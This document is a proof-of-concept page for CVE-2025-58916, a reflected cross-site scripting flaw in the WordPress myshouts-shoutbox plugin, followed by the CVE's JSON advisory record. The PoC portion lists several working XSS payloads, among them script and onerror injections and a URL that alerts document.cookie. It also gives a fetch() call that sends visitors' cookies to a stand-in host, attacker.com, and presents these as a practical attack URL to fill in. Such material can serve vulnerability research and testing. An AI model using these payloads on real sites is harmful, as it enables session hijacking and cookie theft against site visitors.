CVE-2025-58916

<!-- CVE-2025-58916 PoC - Reflected XSS in myshouts-shoutbox plugin --> <!-- Attack Vector: Inject malicious JavaScript via shoutbox input or URL parameter --> <!-- Method 1: Direct script injection --> <script>alert(document.domain)</script> <!-- Method 2: Event handler injection --> <img src=x onerror=alert('XSS')> <!-- Method 3: URL-based injection (if parameter reflected in response) --> https://target-site.com/?shout=<script>alert(document.cookie)</script> <!-- Method 4: Data exfiltration example --> <script> fetch('https://attacker.com/steal?cookie='+document.cookie) </script> <!-- Practical attack URL --> <!-- Replace 'TARGET_URL' with vulnerable site and 'PAYLOAD' with encoded script -->

{"cve": {"id": "CVE-2025-58916", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:52.003", "lastModified": "2026-04-27T19:16:16.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Munzir Author: Munzir myshouts-shoutbox allows Reflected XSS.This issue affects Author: Munzir: from n/a through <= 0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/myshouts-shoutbox/vulnerability/wordpress-author-munzir-plugin-0-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}